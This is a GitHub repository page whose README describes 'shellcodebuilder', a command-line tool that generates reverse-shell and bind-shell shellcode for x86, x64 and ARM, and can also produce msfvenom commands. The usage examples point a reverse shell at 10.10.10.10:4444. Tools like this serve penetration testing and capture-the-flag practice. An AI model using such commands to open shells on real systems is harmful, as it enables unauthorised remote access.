Skip to content

LinuxCTRL/shellcodebuilder

Repository files navigation

shellcodebuilder

Generate shellcode for various architectures.

Installation

This project is managed with uv.

# Install dependencies and the package
uv pip install -e .

# Or run via the wrapper
./shellcodebuilder-wrapper

Usage

# Generate reverse shell shellcode (default x64)
shellcodebuilder -lh 10.10.10.10 -lp 4444

# Specify architecture and format
shellcodebuilder -lh 10.10.10.10 -lp 4444 -a x86 -f c

# Generate base64 encoded shellcode
shellcodebuilder -p bind -lp 5555 -f base64

# Generate msfvenom command instead of shellcode
shellcodebuilder -lh 10.10.10.10 -lp 4444 -m

# List available architectures and payloads
shellcodebuilder --list-arch
shellcodebuilder --list-payloads

Options

Flag Description
-lh, --lhost Local host (LHOST)
-lp, --lport Local port (LPORT)
-a, --arch Architecture (x86, x64, arm)
-p, --payload Payload type (reverse, bind)
-f, --format Output format (raw, hex, c, base64, msfvenom)
-m, --msfvenom Generate msfvenom command
-o, --output Save to file

License

MIT

About

Created with ghelper

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors